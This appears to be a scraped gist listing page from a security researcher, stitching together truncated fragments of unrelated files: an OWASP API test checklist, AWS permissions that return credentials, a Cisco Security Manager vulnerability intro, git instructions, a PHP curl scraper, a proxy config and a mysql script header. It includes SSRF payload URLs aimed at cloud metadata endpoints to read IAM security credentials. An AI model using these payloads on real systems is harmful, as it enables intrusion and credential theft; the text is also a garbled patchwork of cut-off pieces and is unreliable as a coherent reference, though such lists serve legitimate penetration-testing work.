Magno Logan magnologan

ID	Test name	Domain	Owasp API Top Ten
1	Test user enumeration (if applicable)	Authorization	A1, A3
2	Exploit vulnerabilities to gain unauthorized access	Authorization	A2
3	Transmission of sensitive information (token, credentials, etc.) in an insecure manner	Integrity/Confidentiality	A1
4	Test for specific data entry vulnerabilities	Data validation	A8
5	Perform fuzzing on all request parameters (sending malicious information, for example)	Data validation	A8
6	Test for injection vulnerabilities (SQLi, LDAP, XML, Xpath, XXE if applicable)	Data validation	A8
7	Testing for buffer overflow vulnerabilities	Data validation	A8
8	Test for logic failures (if applicable)	Data validation	A6
9	Test how the application behaves by receiving incomplete information	Data validation	A6

chime:CreateApiKey
codepipeline:PollForJobs
cognito-identity:GetOpenIdToken
cognito-identity:GetOpenIdTokenForDeveloperIdentity
cognito-identity:GetCredentialsForIdentity
connect:GetFederationToken
connect:GetFederationTokens
ecr:GetAuthorizationToken
[gamelift:RequestUploadCredentials](ht

TLDR

Cisco Security Manager is an enterprise-class security management application that provides insight into and control of Cisco security and network devices. Cisco Security Manager offers comprehensive security management (configuration and event management) across a wide range of Cisco security appliances, including Cisco ASA Adaptive Security Appliances, Cisco IPS Series Sensor Appliances, Cisco Integrated Services Routers (ISRs), Cisco Firewall Services Modules (FWSMs), Cisco Catalyst, Cisco Switches and many more. Cisco Security Manager allows you to manage networks of all sizes efficiently-from small networks to large networks consisting of hundreds of devices.

Several pre-auth vulnerabilities were submitted to Cisco on 2020-07-13 and (according to Cisco) patched in version 4.22 on 2020-11-10. Release notes didn't state anything about the vulnerabilities, security advisories were not published. All payload are processed in the context of NT AUTHORITY\SYSTEM.

1. Clone your fork:

git clone [email protected]:YOUR-USERNAME/YOUR-FORKED-REPO.git

2. Add remote from original repository in your forked repository:

cd into/cloned/fork-repo
git remote add upstream git://github.com/ORIGINAL-DEV-USERNAME/REPO-YOU-FORKED-FROM.git
git fetch upstream

	<?php
	$targets = array_unique(explode("\n",file_get_contents("posts.targets")));
	$user_agent = 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0';

	foreach ($targets as $key => $url_target) {

	#REQUEST PEGANDO ID
	exec("curl -kg --user-agent '{$user_agent}' '{$url_target}'>tmp");

	#GREP ID

	{
	"30523382": {
	"className": "Proxy",
	"data": {
	"bypassFPForPAC": true,
	"color": "#f57575",
	"configUrl": "",
	"credentials": "U2FsdGVkX1+tf3lvD5TBClW2UUSZAT4AWsCo/i0kU2M=",
	"cycle": false,
	"enabled": true,

	## IPv6 Tests
	http://[::ffff:169.254.169.254]
	http://[0:0:0:0:0:ffff:169.254.169.254]

	## AWS
	# Amazon Web Services (No Header Required)
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
	http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]

	# Usage:
	# aws cloudformation --region <region> create-stack --stack-name <stack name> --template-body file://vpc-fargate.yaml

	# This template will:
	# Create a VPC with:
	# 2 Public Subnets
	# 2 Private Subnets
	# An Internet Gateway (with routes to it for Public Subnets)
	# A NAT Gateway for outbound access (with routes from Private Subnets set to use it)
	#

	#!/bin/bash

	# copymysql.sh

	# GENERATED WITH USING ARTUR BODERA'S SCRIPT
	# Source script at: https://gist.github.com/2215200

	MYSQLDUMP="/usr/bin/mysqldump"
	MYSQL="/usr/bin/mysql"